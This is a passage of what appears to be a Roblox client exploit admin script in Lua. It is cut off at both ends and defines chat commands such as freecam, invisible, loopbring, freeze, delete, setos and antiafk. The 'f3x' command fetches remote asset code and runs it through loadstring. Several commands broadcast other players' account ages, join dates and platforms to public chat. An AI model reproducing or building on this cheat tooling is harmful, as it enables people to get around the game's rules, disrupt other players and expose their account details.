  6453. LeftShift = 0,
  6454. }
  6455.  
  6456. mouse = {
  6457. Delta = Vector2.new(),
  6458. }
  6459.  
  6460. PAN_MOUSE_SPEED = Vector2.new(1, 1)*(math.pi/64)
  6461. NAV_ADJ_SPEED = 0.75
  6462. NAV_SHIFT_MUL = 0.25
  6463.  
  6464. navSpeed = 1
  6465.  
  6466. function Input.Vel(dt)
  6467. navSpeed = math.clamp(navSpeed + dt*(keyboard.Up - keyboard.Down)*NAV_ADJ_SPEED, 0.01, 4)
  6468.  
  6469. kKeyboard = Vector3.new(
  6470. keyboard.D - keyboard.A,
  6471. keyboard.E - keyboard.Q,
  6472. keyboard.S - keyboard.W
  6473. )*NAV_KEYBOARD_SPEED
  6474.  
  6475. shift = UserInputService:IsKeyDown(Enum.KeyCode.LeftShift)
  6476.  
  6477. return (kKeyboard)*(navSpeed*(shift and NAV_SHIFT_MUL or 1))
  6478. end
  6479.  
  6480. function Input.Pan(dt)
  6481. kMouse = mouse.Delta*PAN_MOUSE_SPEED
  6482. mouse.Delta = Vector2.new()
  6483. return kMouse
  6484. end
  6485.  
  6486. do
  6487. function Keypress(action, state, input)
  6488. keyboard[input.KeyCode.Name] = state == Enum.UserInputState.Begin and 1 or 0
  6489. return Enum.ContextActionResult.Sink
  6490. end
  6491.  
  6492. function MousePan(action, state, input)
  6493. delta = input.Delta
  6494. mouse.Delta = Vector2.new(-delta.y, -delta.x)
  6495. return Enum.ContextActionResult.Sink
  6496. end
  6497.  
  6498. function Zero(t)
  6499. for k, v in pairs(t) do
  6500. t[k] = v*0
  6501. end
  6502. end
  6503.  
  6504. function Input.StartCapture()
  6505. game:GetService("ContextActionService"):BindActionAtPriority("FreecamKeyboard", Keypress, false, INPUT_PRIORITY,
  6506. Enum.KeyCode.W,
  6507. Enum.KeyCode.A,
  6508. Enum.KeyCode.S,
  6509. Enum.KeyCode.D,
  6510. Enum.KeyCode.E,
  6511. Enum.KeyCode.Q,
  6512. Enum.KeyCode.Up,
  6513. Enum.KeyCode.Down
  6514. )
  6515. game:GetService("ContextActionService"):BindActionAtPriority("FreecamMousePan", MousePan, false, INPUT_PRIORITY, Enum.UserInputType.MouseMovement)
  6516. end
  6517.  
  6518. function Input.StopCapture()
  6519. navSpeed = 1
  6520. Zero(keyboard)
  6521. Zero(mouse)
  6522. game:GetService("ContextActionService"):UnbindAction("FreecamKeyboard")
  6523. game:GetService("ContextActionService"):UnbindAction("FreecamMousePan")
  6524. end
  6525. end
  6526. end
  6527.  
  6528. function GetFocusDistance(cameraFrame)
  6529. local znear = 0.1
  6530. local viewport = Camera.ViewportSize
  6531. local projy = 2*math.tan(cameraFov/2)
  6532. local projx = viewport.x/viewport.y*projy
  6533. local fx = cameraFrame.rightVector
  6534. local fy = cameraFrame.upVector
  6535. local fz = cameraFrame.lookVector
  6536.  
  6537. local minVect = Vector3.new()
  6538. local minDist = 512
  6539.  
  6540. for x = 0, 1, 0.5 do
  6541. for y = 0, 1, 0.5 do
  6542. local cx = (x - 0.5)*projx
  6543. local cy = (y - 0.5)*projy
  6544. local offset = fx*cx - fy*cy + fz
  6545. local origin = cameraFrame.p + offset*znear
  6546. local _, hit = workspace:FindPartOnRay(Ray.new(origin, offset.unit*minDist))
  6547. local dist = (hit - origin).magnitude
  6548. if minDist > dist then
  6549. minDist = dist
  6550. minVect = offset.unit
  6551. end
  6552. end
  6553. end
  6554.  
  6555. return fz:Dot(minVect)*minDist
  6556. end
  6557.  
  6558. local function StepFreecam(dt)
  6559. local vel = velSpring:Update(dt, Input.Vel(dt))
  6560. local pan = panSpring:Update(dt, Input.Pan(dt))
  6561.  
  6562. local zoomFactor = math.sqrt(math.tan(math.rad(70/2))/math.tan(math.rad(cameraFov/2)))
  6563.  
  6564. cameraRot = cameraRot + pan*Vector2.new(0.75, 1)*8*(dt/zoomFactor)
  6565. cameraRot = Vector2.new(math.clamp(cameraRot.x, -math.rad(90), math.rad(90)), cameraRot.y%(2*math.pi))
  6566.  
  6567. local cameraCFrame = CFrame.new(cameraPos)*CFrame.fromOrientation(cameraRot.x, cameraRot.y, 0)*CFrame.new(vel*Vector3.new(1, 1, 1)*64*dt)
  6568. cameraPos = cameraCFrame.p
  6569.  
  6570. Camera.CFrame = cameraCFrame
  6571. Camera.Focus = cameraCFrame*CFrame.new(0, 0, -GetFocusDistance(cameraCFrame))
  6572. Camera.FieldOfView = cameraFov
  6573. end
  6574.  
  6575. local PlayerState = {} do
  6576. mouseBehavior = ""
  6577. mouseIconEnabled = ""
  6578. cameraType = ""
  6579. cameraFocus = ""
  6580. cameraCFrame = ""
  6581. cameraFieldOfView = ""
  6582.  
  6583. function PlayerState.Push()
  6584. cameraFieldOfView = Camera.FieldOfView
  6585. Camera.FieldOfView = 70
  6586.  
  6587. cameraType = Camera.CameraType
  6588. Camera.CameraType = Enum.CameraType.Custom
  6589.  
  6590. cameraCFrame = Camera.CFrame
  6591. cameraFocus = Camera.Focus
  6592.  
  6593. mouseIconEnabled = UserInputService.MouseIconEnabled
  6594. UserInputService.MouseIconEnabled = true
  6595.  
  6596. mouseBehavior = UserInputService.MouseBehavior
  6597. UserInputService.MouseBehavior = Enum.MouseBehavior.Default
  6598. end
  6599.  
  6600. function PlayerState.Pop()
  6601. Camera.FieldOfView = 70
  6602.  
  6603. Camera.CameraType = cameraType
  6604. cameraType = nil
  6605.  
  6606. Camera.CFrame = cameraCFrame
  6607. cameraCFrame = nil
  6608.  
  6609. Camera.Focus = cameraFocus
  6610. cameraFocus = nil
  6611.  
  6612. UserInputService.MouseIconEnabled = mouseIconEnabled
  6613. mouseIconEnabled = nil
  6614.  
  6615. UserInputService.MouseBehavior = mouseBehavior
  6616. mouseBehavior = nil
  6617. end
  6618. end
  6619.  
  6620. function StartFreecam()
  6621. local cameraCFrame = Camera.CFrame
  6622. cameraRot = Vector2.new(cameraCFrame:toEulerAnglesYXZ())
  6623. cameraPos = cameraCFrame.p
  6624. cameraFov = Camera.FieldOfView
  6625.  
  6626. velSpring:Reset(Vector3.new())
  6627. panSpring:Reset(Vector2.new())
  6628.  
  6629. PlayerState.Push()
  6630. game:GetService("RunService"):BindToRenderStep("Freecam", Enum.RenderPriority.Camera.Value, StepFreecam)
  6631. Input.StartCapture()
  6632. end
  6633.  
  6634. function StopFreecam()
  6635. Input.StopCapture()
  6636. game:GetService("RunService"):UnbindFromRenderStep("Freecam")
  6637. PlayerState.Pop()
  6638. workspace.Camera.FieldOfView = 70
  6639. end
  6640. end
  6641. StartFreecam()
  6642. end)
  6643.  
  6644. addcmd('unfreecam',{'nofreecam','unfc','nofc'},
  6645. function(args, speaker)
  6646. if fcLoaded then
  6647. StopFreecam()
  6648. end
  6649. end)
  6650.  
  6651. addcmd('freecamspeed',{'fcspeed'},
  6652. function(args, speaker)
  6653. if args[1] and isNumber(args[1]) then
  6654. local FCspeed = args[1]
  6655. NAV_KEYBOARD_SPEED = Vector3.new(FCspeed, FCspeed, FCspeed)
  6656. else
  6657. NAV_KEYBOARD_SPEED = Vector3.new(1, 1, 1)
  6658. end
  6659. end)
  6660.  
  6661. addcmd('gotocamera',{'gotocam'},
  6662. function(args, speaker)
  6663. speaker.Character.HumanoidRootPart.CFrame = workspace.Camera.CFrame
  6664. end)
  6665.  
  6666. addcmd('fov',{},
  6667. function(args, speaker)
  6668. if isNumber(args[1]) then
  6669. workspace.CurrentCamera.FieldOfView = args[1]
  6670. elseif not args[1] then
  6671. workspace.CurrentCamera.FieldOfView = 70
  6672. end
  6673. end)
  6674.  
  6675. preMaxZoom = Players.LocalPlayer.CameraMaxZoomDistance
  6676. preMinZoom = Players.LocalPlayer.CameraMinZoomDistance
  6677. addcmd('lookat',{},
  6678. function(args, speaker)
  6679. if speaker.CameraMaxZoomDistance ~= 0.5 then
  6680. preMaxZoom = speaker.CameraMaxZoomDistance
  6681. preMinZoom = speaker.CameraMinZoomDistance
  6682. end
  6683. speaker.CameraMaxZoomDistance = 0.5
  6684. speaker.CameraMinZoomDistance = 0.5
  6685. wait()
  6686. local players = getPlayer(args[1], speaker)
  6687. for i,v in pairs(players) do
  6688. local target = Players[v].Character
  6689. if target and target:FindFirstChild('Head') then
  6690. workspace.CurrentCamera.CFrame = CFrame.new(workspace.CurrentCamera.CFrame.p, target.Head.CFrame.p)
  6691. wait(0.1)
  6692. end
  6693. end
  6694. speaker.CameraMaxZoomDistance = preMaxZoom
  6695. speaker.CameraMinZoomDistance = preMinZoom
  6696. end)
  6697.  
  6698. addcmd('fixcam',{'restorecam'},
  6699. function(args, speaker)
  6700. if fcLoaded then
  6701. StopFreecam()
  6702. end
  6703. workspace.CurrentCamera:remove()
  6704. wait(.1)
  6705. repeat wait() until speaker.Character ~= nil
  6706. workspace.CurrentCamera.CameraSubject = speaker.Character:FindFirstChildWhichIsA('Humanoid')
  6707. workspace.CurrentCamera.CameraType = "Custom"
  6708. speaker.CameraMinZoomDistance = 0.5
  6709. speaker.CameraMaxZoomDistance = 400
  6710. speaker.CameraMode = "Classic"
  6711. speaker.Character.Head.Anchored = false
  6712. end)
  6713.  
  6714. addcmd('enableshiftlock',{'enablesl','shiftlock'},
  6715. function(args, speaker)
  6716. speaker.DevEnableMouseLock = true
  6717. notify('Shiftlock','Shift lock is now available')
  6718. end)
  6719.  
  6720. addcmd('firstp',{},
  6721. function(args, speaker)
  6722. speaker.CameraMode = "LockFirstPerson"
  6723. end)
  6724.  
  6725. addcmd('thirdp',{},
  6726. function(args, speaker)
  6727. speaker.CameraMode = "Classic"
  6728. end)
  6729.  
  6730. addcmd('noclipcam',{'nccam'},
  6731. function(args, speaker)
  6732. speaker.CameraMinZoomDistance = math.huge - math.huge
  6733. speaker.CameraMaxZoomDistance = math.huge - math.huge
  6734. end)
  6735.  
  6736.  
  6737. addcmd('maxzoom',{},
  6738. function(args, speaker)
  6739. speaker.CameraMaxZoomDistance = args[1]
  6740. end)
  6741.  
  6742. addcmd('unlockws',{'unlockworkspace'},
  6743. function(args, speaker)
  6744. for i,v in pairs(workspace:GetDescendants()) do
  6745. if v:IsA("BasePart") then
  6746. v.Locked = false
  6747. end
  6748. end
  6749. end)
  6750.  
  6751. addcmd('lockws',{'lockworkspace'},
  6752. function(args, speaker)
  6753. for i,v in pairs(workspace:GetDescendants()) do
  6754. if v:IsA("BasePart") then
  6755. v.Locked = true
  6756. end
  6757. end
  6758. end)
  6759.  
  6760. addcmd('delete',{'remove'},
  6761. function(args, speaker)
  6762. for i,v in pairs(workspace:GetDescendants()) do
  6763. if v.Name:lower() == getstring(1):lower() then
  6764. v:Destroy()
  6765. end
  6766. end
  6767. notify('Item(s) Deleted','Deleted ' ..getstring(1))
  6768. end)
  6769.  
  6770. addcmd('deleteclass',{'removeclass','deleteclassname','removeclassname','dc'},
  6771. function(args, speaker)
  6772. for i,v in pairs(workspace:GetDescendants()) do
  6773. if v.ClassName:lower() == getstring(1):lower() then
  6774. v:Destroy()
  6775. end
  6776. end
  6777. notify('Item(s) Deleted','Deleted items with ClassName ' ..getstring(1))
  6778. end)
  6779.  
  6780. addcmd('chardelete',{'charremove','cd'},
  6781. function(args, speaker)
  6782. for i,v in pairs(speaker.Character:GetDescendants()) do
  6783. if v.Name:lower() == getstring(1):lower() then
  6784. v:Destroy()
  6785. end
  6786. end
  6787. notify('Item(s) Deleted','Deleted ' ..getstring(1))
  6788. end)
  6789.  
  6790. addcmd('chardeleteclass',{'charremoveclass','chardeleteclassname','charremoveclassname','cdc'},
  6791. function(args, speaker)
  6792. for i,v in pairs(speaker.Character:GetDescendants()) do
  6793. if v.ClassName:lower() == getstring(1):lower() then
  6794. v:Destroy()
  6795. end
  6796. end
  6797. notify('Item(s) Deleted','Deleted items with ClassName ' ..getstring(1))
  6798. end)
  6799.  
  6800. addcmd('deletevelocity',{'dv','removevelocity','removeforces'},
  6801. function(args, speaker)
  6802. for i,v in pairs(speaker.Character:GetDescendants()) do
  6803. if v:IsA("BodyVelocity") or v:IsA("BodyGyro") or v:IsA("RocketPropulsion") or v:IsA("BodyThrust") or v:IsA("BodyAngularVelocity") or v:IsA("AngularVelocity") or v:IsA("BodyForce") or v:IsA("VectorForce") or v:IsA("LineForce") then
  6804. v:Destroy()
  6805. end
  6806. end
  6807. end)
  6808.  
  6809. addcmd('deleteinvisparts',{'deleteinvisibleparts','dip'},
  6810. function(args, speaker)
  6811. for i,v in pairs(workspace:GetDescendants()) do
  6812. if v:IsA("BasePart") and v.Transparency == 1 and v.CanCollide then
  6813. v:Destroy()
  6814. end
  6815. end
  6816. end)
  6817.  
  6818. shownParts = {}
  6819. addcmd('invisibleparts',{'invisparts'},
  6820. function(args, speaker)
  6821. for i,v in pairs(workspace:GetDescendants()) do
  6822. if v:IsA("BasePart") and v.Transparency == 1 then
  6823. if not table.find(shownParts,v) then
  6824. table.insert(shownParts,v)
  6825. end
  6826. v.Transparency = 0
  6827. end
  6828. end
  6829. end)
  6830.  
  6831. addcmd('uninvisibleparts',{'uninvisparts'},
  6832. function(args, speaker)
  6833. for i,v in pairs(shownParts) do
  6834. v.Transparency = 1
  6835. end
  6836. shownParts = {}
  6837. end)
  6838.  
  6839. addcmd('btools',{},
  6840. function(args, speaker)
  6841. Instance.new("HopperBin", speaker.Backpack).BinType = 1
  6842. Instance.new("HopperBin", speaker.Backpack).BinType = 2
  6843. Instance.new("HopperBin", speaker.Backpack).BinType = 3
  6844. Instance.new("HopperBin", speaker.Backpack).BinType = 4
  6845. end)
  6846.  
  6847. addcmd('f3x',{'fex'},
  6848. function(args, speaker)
  6849. loadstring(game:GetObjects("rbxassetid://4698064966")[1].Source)()
  6850. end)
  6851.  
  6852. addcmd('antiafk',{'antiidle'},
  6853. function(args, speaker)
  6854. local GC = getconnections or get_signal_cons
  6855. if GC then
  6856. for i,v in pairs(GC(Players.LocalPlayer.Idled)) do
  6857. if v["Disable"] then
  6858. v["Disable"](v)
  6859. elseif v["Disconnect"] then
  6860. v["Disconnect"](v)
  6861. end
  6862. end
  6863. notify('Anti Idle','Anti idle is enabled')
  6864. else
  6865. notify('Incompatible Exploit','Your exploit does not support this command (missing getconnections)')
  6866. end
  6867. end)
  6868.  
  6869. addcmd('nopurchaseprompts',{'noprompts'},
  6870. function(args, speaker)
  6871. game:GetService("CoreGui").PurchasePromptApp.PurchasePromptUI.Visible = false
  6872. end)
  6873.  
  6874. addcmd('showpurchaseprompts',{'showprompts'},
  6875. function(args, speaker)
  6876. game:GetService("CoreGui").PurchasePromptApp.PurchasePromptUI.Visible = true
  6877. end)
  6878.  
  6879. addcmd('age',{},
  6880. function(args, speaker)
  6881. local players = getPlayer(args[1], speaker)
  6882. local ages = {}
  6883. for i,v in pairs(players) do
  6884. local p = Players[v]
  6885. table.insert(ages, p.Name.."'s age is: "..p.AccountAge)
  6886. end
  6887. notify('Account Age',table.concat(ages, ',\n'))
  6888. end)
  6889.  
  6890. addcmd('chatage',{},
  6891. function(args, speaker)
  6892. local players = getPlayer(args[1], speaker)
  6893. local ages = {}
  6894. for i,v in pairs(players) do
  6895. local p = Players[v]
  6896. table.insert(ages, p.Name.."'s age is: "..p.AccountAge)
  6897. end
  6898. local chatString = table.concat(ages, ', ')
  6899. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(chatString, "All")
  6900. end)
  6901.  
  6902. addcmd('joindate',{'jd'},
  6903. function(args, speaker)
  6904. local players = getPlayer(args[1], speaker)
  6905. local dates = {}
  6906. notify("Loading",'Hold on a second')
  6907. for i,v in pairs(players) do
  6908. local user = game:HttpGet("https://users.roblox.com/v1/users/"..Players[v].UserId)
  6909. local json = game:GetService("HttpService"):JSONDecode(user)
  6910. table.insert(dates,Players[v].Name.." joined: "..json["created"]:sub(1,10))
  6911. end
  6912. notify('Join Date (Year/Month/Day)',table.concat(dates, ',\n'))
  6913. end)
  6914.  
  6915. addcmd('chatjoindate',{'cjd'},
  6916. function(args, speaker)
  6917. local players = getPlayer(args[1], speaker)
  6918. local dates = {}
  6919. notify("Loading",'Hold on a second')
  6920. for i,v in pairs(players) do
  6921. local user = game:HttpGet("https://users.roblox.com/v1/users/"..Players[v].UserId)
  6922. local json = game:GetService("HttpService"):JSONDecode(user)
  6923. table.insert(dates,Players[v].Name.." joined: "..json["created"]:sub(1,10))
  6924. end
  6925. local chatString = table.concat(dates, ', ')
  6926. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(chatString, "All")
  6927. end)
  6928.  
  6929. addcmd('os',{'platform', 'device'},
  6930. function(args, speaker)
  6931. local players = getPlayer(args[1], speaker)
  6932. local platforms = {}
  6933. for i,v in pairs(players) do
  6934. local p = Players[v]
  6935. table.insert(platforms,p.Name.."'s platform is: "..p.OsPlatform)
  6936. end
  6937. notify('OS',table.concat(platforms, ',\n'))
  6938. end)
  6939.  
  6940. addcmd('chatos',{'chatplatform', 'chatdevice'},
  6941. function(args, speaker)
  6942. local players = getPlayer(args[1], speaker)
  6943. local platforms = {}
  6944. for i,v in pairs(players) do
  6945. local p = Players[v]
  6946. table.insert(platforms,p.Name.."'s platform is: "..p.OsPlatform)
  6947. end
  6948. local chatString = table.concat(platforms, ', ')
  6949. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(chatString, "All")
  6950. end)
  6951.  
  6952. addcmd('setos',{'spoofos', 'osspoof'},
  6953. function(args, speaker)
  6954. speaker.OsPlatform = getstring(1)
  6955. notify('OS','Your os is now set to '..getstring(1))
  6956. end)
  6957.  
  6958. addcmd('copyname',{'copyuser'},
  6959. function(args, speaker)
  6960. local players = getPlayer(args[1], speaker)
  6961. for i,v in pairs(players) do
  6962. local name = tostring(Players[v].Name)
  6963. toClipboard(name)
  6964. end
  6965. end)
  6966.  
  6967. addcmd('copyid',{},
  6968. function(args, speaker)
  6969. local players = getPlayer(args[1], speaker)
  6970. for i,v in pairs(players) do
  6971. local id = tostring(Players[v].UserId)
  6972. toClipboard(id)
  6973. end
  6974. end)
  6975.  
  6976. addcmd('copyappearanceid',{},
  6977. function(args, speaker)
  6978. local players = getPlayer(args[1], speaker)
  6979. for i,v in pairs(players) do
  6980. local aid = tostring(Players[v].CharacterAppearanceId)
  6981. toClipboard(aid)
  6982. end
  6983. end)
  6984.  
  6985. addcmd('goto',{'to'},
  6986. function(args, speaker)
  6987. local players = getPlayer(args[1], speaker)
  6988. for i,v in pairs(players)do
  6989. if Players[v].Character ~= nil then
  6990. if speaker.Character:FindFirstChild("Humanoid") then
  6991. speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false
  6992. end
  6993. wait(0.1)
  6994. speaker.Character.HumanoidRootPart.CFrame = Players[v].Character.HumanoidRootPart.CFrame + Vector3.new(3,1,0)
  6995. end
  6996. end
  6997. end)
  6998.  
  6999. addcmd('vehiclegoto',{'vgoto'},
  7000. function(args, speaker)
  7001. local players = getPlayer(args[1], speaker)
  7002. for i,v in pairs(players)do
  7003. if Players[v].Character ~= nil then
  7004. local seat = speaker.Character.Humanoid.SeatPart
  7005. local vehicleModel = seat.Parent
  7006. repeat
  7007. if vehicleModel.ClassName ~= "Model" then
  7008. vehicleModel = vehicleModel.Parent
  7009. end
  7010. until vehicleModel.ClassName == "Model"
  7011. wait(0.1)
  7012. vehicleModel:MoveTo(Players[v].Character.HumanoidRootPart.Position)
  7013. end
  7014. end
  7015. end)
  7016.  
  7017. addcmd('clientbring',{'cbring'},
  7018. function(args, speaker)
  7019. local players = getPlayer(args[1], speaker)
  7020. for i,v in pairs(players)do
  7021. if Players[v].Character ~= nil then
  7022. if Players[v].Character:FindFirstChild("Humanoid") then
  7023. Players[v].Character:FindFirstChildOfClass('Humanoid').Sit = false
  7024. end
  7025. wait()
  7026. Players[v].Character.HumanoidRootPart.CFrame = speaker.Character.HumanoidRootPart.CFrame + Vector3.new(3,1,0)
  7027. end
  7028. end
  7029. end)
  7030.  
  7031. bringT = {}
  7032. addcmd('loopbring',{},
  7033. function(args, speaker)
  7034. local players = getPlayer(args[1], speaker)
  7035. for i,v in pairs(players)do
  7036. spawn(function()
  7037. if Players[v].Name ~= speaker.Name and not FindInTable(bringT, Players[v].Name) then
  7038. table.insert(bringT, Players[v].Name)
  7039. local pchar=Players[v].Character
  7040. if pchar:FindFirstChild("Humanoid") then
  7041. pchar:FindFirstChildOfClass('Humanoid').Sit = false
  7042. end
  7043. wait()
  7044. local distance = 3
  7045. if args[2] and isNumber(args[2]) then
  7046. distance = args[2]
  7047. end
  7048. local lDelay = 0
  7049. if args[3] and isNumber(args[3]) then
  7050. lDelay = args[3]
  7051. end
  7052. repeat
  7053. pchar = Players[v].Character
  7054. for i,c in pairs(players) do
  7055. if pchar~= nil and pchar:FindFirstChild("HumanoidRootPart") and speaker.Character ~= nil and speaker.Character:FindFirstChild("HumanoidRootPart") then
  7056. pchar.HumanoidRootPart.CFrame = speaker.Character.HumanoidRootPart.CFrame + Vector3.new(distance,1,0)
  7057. end
  7058. end
  7059. wait(lDelay)
  7060. until not FindInTable(bringT, Players[v].Name)
  7061. end
  7062. end)
  7063. end
  7064. end)
  7065.  
  7066. addcmd('unloopbring',{'noloopbring'},
  7067. function(args, speaker)
  7068. local players = getPlayer(args[1], speaker)
  7069. for i,v in pairs(players)do
  7070. spawn(function()
  7071. for a,b in pairs(bringT) do if b == Players[v].Name then table.remove(bringT, a) end end
  7072. end)
  7073. end
  7074. end)
  7075.  
  7076. local walkto
  7077. addcmd('walkto',{'follow'},
  7078. function(args, speaker)
  7079. local players = getPlayer(args[1], speaker)
  7080. for i,v in pairs(players)do
  7081. if Players[v].Character ~= nil then
  7082. if speaker.Character:FindFirstChild("Humanoid") then
  7083. speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false
  7084. end
  7085. walkto = true
  7086. repeat wait()
  7087. speaker.Character.Humanoid:MoveTo(Players[v].Character.HumanoidRootPart.Position)
  7088. until Players[v].Character == nil or not Players[v].Character:FindFirstChild('HumanoidRootPart') or walkto == false
  7089. end
  7090. end
  7091. end)
  7092.  
  7093. addcmd('unwalkto',{'nowalkto','unfollow','nofollow'},
  7094. function(args, speaker)
  7095. walkto = false
  7096. end)
  7097.  
  7098. addcmd('freeze',{'fr'},
  7099. function(args, speaker)
  7100. local players = getPlayer(args[1], speaker)
  7101. if players ~= nil then
  7102. for i, v in pairs(players) do
  7103. spawn(function()
  7104. for i, x in next, Players[v].Character:GetDescendants() do
  7105. if x:IsA("BasePart") and not x.Anchored then
  7106. x.Anchored = true
  7107. end
  7108. end
  7109. end)
  7110. end
  7111. end
  7112. end)
  7113.  
  7114. addcmd('thaw',{'unfreeze','unfr'},
  7115. function(args, speaker)
  7116. local players = getPlayer(args[1], speaker)
  7117. if players ~= nil then
  7118. for i, v in pairs(players) do
  7119. spawn(function()
  7120. for i, x in next, Players[v].Character:GetDescendants() do
  7121. if x:IsA("BasePart") and x.Anchored then
  7122. x.Anchored = false
  7123. end
  7124. end
  7125. end)
  7126. end
  7127. end
  7128. end)
  7129.  
  7130. oofing = false
  7131. addcmd('loopoof',{},
  7132. function(args, speaker)
  7133. oofing = true
  7134. repeat wait(0.1)
  7135. for i,v in pairs(Players:GetPlayers()) do
  7136. if v.Character ~= nil and v.Character:FindFirstChild'Head' then
  7137. for _,x in pairs(v.Character.Head:GetChildren()) do
  7138. if x:IsA'Sound' then x.Playing = true end
  7139. end
  7140. end
  7141. end
  7142. until oofing == false
  7143. end)
  7144.  
  7145. addcmd('unloopoof',{},
  7146. function(args, speaker)
  7147. oofing = false
  7148. end)
  7149.  
  7150. addcmd('reset',{},
  7151. function(args, speaker)
  7152. speaker.Character:BreakJoints()
  7153. end)
  7154.  
  7155. addcmd('respawn',{},
  7156. function(args, speaker)
  7157. respawn(speaker)
  7158. end)
  7159.  
  7160. addcmd('refresh',{'re'},
  7161. function(args, speaker)
  7162. refresh(speaker)
  7163. end)
  7164.  
  7165. invisRunning = false
  7166. addcmd('invisible',{'invis'},
  7167. function(args, speaker)
  7168. if invisRunning then return end
  7169. invisRunning = true
  7170. -- Full credit to AmokahFox @V3rmillion
  7171. local Player = speaker
  7172. repeat wait(.1) until Player.Character
  7173. local Character = Player.Character
  7174. Character.Archivable = true
  7175. local IsInvis = false
  7176. local IsRunning = true
  7177. local InvisibleCharacter = Character:Clone()
  7178. InvisibleCharacter.Parent = game:GetService'Lighting'
  7179. local Void = workspace.FallenPartsDestroyHeight
  7180. InvisibleCharacter.Name = ""
  7181. local CF
  7182.  
  7183. local invisFix = game:GetService("RunService").Stepped:Connect(function()
  7184. pcall(function()
  7185. local IsInteger
  7186. if tostring(Void):find'-' then
  7187. IsInteger = true
  7188. else
  7189. IsInteger = false
  7190. end
  7191. local Pos = Player.Character.HumanoidRootPart.Position
  7192. local Pos_String = tostring(Pos)
  7193. local Pos_Seperate = Pos_String:split(', ')
  7194. local X = tonumber(Pos_Seperate[1])
  7195. local Y = tonumber(Pos_Seperate[2])
  7196. local Z = tonumber(Pos_Seperate[3])
  7197. if IsInteger == true then
  7198. if Y <= Void then
  7199. Respawn()
  7200. end
  7201. elseif IsInteger == false then
  7202. if Y >= Void then
  7203. Respawn()
  7204. end
  7205. end
  7206. end)
  7207. end)
  7208.  
  7209. for i,v in pairs(InvisibleCharacter:GetDescendants())do
  7210. if v:IsA("BasePart") then
  7211. if v.Name == "HumanoidRootPart" then
  7212. v.Transparency = 1
  7213. else
  7214. v.Transparency = .5
  7215. end
  7216. end
  7217. end
  7218.  
  7219. function Respawn()
  7220. IsRunning = false
  7221. if IsInvis == true then
  7222. pcall(function()
  7223. Player.Character = Character
  7224. wait()
  7225. Character.Parent = workspace
  7226. Character:FindFirstChildWhichIsA'Humanoid':Destroy()
  7227. IsInvis = false
  7228. InvisibleCharacter.Parent = nil
  7229. invisRunning = false
  7230. end)
  7231. elseif IsInvis == false then
  7232. pcall(function()
  7233. Player.Character = Character
  7234. wait()
  7235. Character.Parent = workspace
  7236. Character:FindFirstChildWhichIsA'Humanoid':Destroy()
  7237. TurnVisible()
  7238. end)
  7239. end
  7240. end
  7241.  
  7242. local invisDied
  7243. invisDied = InvisibleCharacter:FindFirstChildOfClass'Humanoid'.Died:Connect(function()
  7244. Respawn()
  7245. invisDied:Disconnect()
  7246. end)
  7247.  
  7248.  
  7249. if IsInvis == true then return end
  7250. IsInvis = true
  7251. CF = workspace.CurrentCamera.CFrame
  7252. local CF_1 = Player.Character.HumanoidRootPart.CFrame
  7253. Character:MoveTo(Vector3.new(0,math.pi*1000000,0))
  7254. workspace.CurrentCamera.CameraType = Enum.CameraType.Scriptable
  7255. wait(.2)
  7256. workspace.CurrentCamera.CameraType = Enum.CameraType.Custom
  7257. InvisibleCharacter = InvisibleCharacter
  7258. Character.Parent = game:GetService'Lighting'
  7259. InvisibleCharacter.Parent = workspace
  7260. InvisibleCharacter.HumanoidRootPart.CFrame = CF_1
  7261. Player.Character = InvisibleCharacter
  7262. execCmd('fixcam')
  7263. Player.Character.Animate.Disabled = true
  7264. Player.Character.Animate.Disabled = false
  7265.  
  7266. function TurnVisible()
  7267. if IsInvis == false then return end
  7268. invisFix:Disconnect()
  7269. invisDied:Disconnect()
  7270. CF = workspace.CurrentCamera.CFrame
  7271. Character = Character
  7272. local CF_1 = Player.Character.HumanoidRootPart.CFrame
  7273. Character.HumanoidRootPart.CFrame = CF_1
  7274. InvisibleCharacter:Destroy()
  7275. Player.Character = Character
  7276. Character.Parent = workspace
  7277. IsInvis = false
  7278. Player.Character.Animate.Disabled = true
  7279. Player.Character.Animate.Disabled = false
  7280. invisDied = Character:FindFirstChildOfClass'Humanoid'.Died:Connect(function()
  7281. Respawn()
  7282. invisDied:Disconnect()
  7283. end)
  7284. invisRunning = false
  7285. end
  7286. notify('Invisible','You now appear invisible to other players')
  7287. end)
  7288.  
  7289. addcmd('visible',{'vis'},
  7290. function(args, speaker)
  7291. TurnVisible()
  7292. end)
  7293.  
  7294. addcmd('strengthen',{},
  7295. function(args, speaker)
  7296. for _, child in pairs(speaker.Character:GetDescendants()) do
  7297. if child.ClassName == "Part" then
  7298. if args[1] then
  7299. child.CustomPhysicalProperties = PhysicalProperties.new(args[1], 0.3, 0.5)
  7300. else
  7301. child.CustomPhysicalProperties = PhysicalProperties.new(100, 0.3, 0.5)
  7302. end
  7303. end
  7304. end
  7305. end)
  7306.  
  7307. addcmd('weaken',{},
  7308. function(args, speaker)
  7309. for _, child in pairs(speaker.Character:GetDescendants()) do
  7310. if child.ClassName == "Part" then
  7311. if args[1] then
  7312. child.CustomPhysicalProperties = PhysicalProperties.new(-args[1], 0.3, 0.5)
  7313. else
  7314. child.CustomPhysicalProperties = PhysicalProperties.new(0, 0.3, 0.5)
  7315. end
  7316. end
  7317. end
  7318. end)
  7319.  
  7320. addcmd('unweaken',{'unstrengthen'},
  7321. function(args, speaker)
  7322. for _, child in pairs(speaker.Character:GetDescendants()) do
  7323. if child.ClassName == "Part" then
  7324. child.CustomPhysicalProperties = PhysicalProperties.new(0.7, 0.3, 0.5)
  7325. end
  7326. end
  7327. end)
  7328.  
  7329. addcmd('jpower',{'jumppower','jp'},
  7330. function(args, speaker)
  7331. speaker.Character:FindFirstChildOfClass('Humanoid').JumpPower=tonumber(args[1])
  7332. end)
  7333.  
  7334. addcmd('gravity',{'grav'},
  7335. function(args, speaker)
  7336. workspace.Gravity = (args[1])
  7337. end)
  7338.  
  7339. addcmd('hipheight',{'hheight'},
  7340. function(args, speaker)
  7341. speaker.Character:FindFirstChildOfClass('Humanoid').HipHeight = args[1]
  7342. end)
  7343.  
  7344. addcmd('dance',{},
  7345. function(args, speaker)
  7346. if not r15(speaker) then
  7347. local pchar=speaker.Character
  7348. local anim = nil
  7349. local dance1 = math.random(1,7)
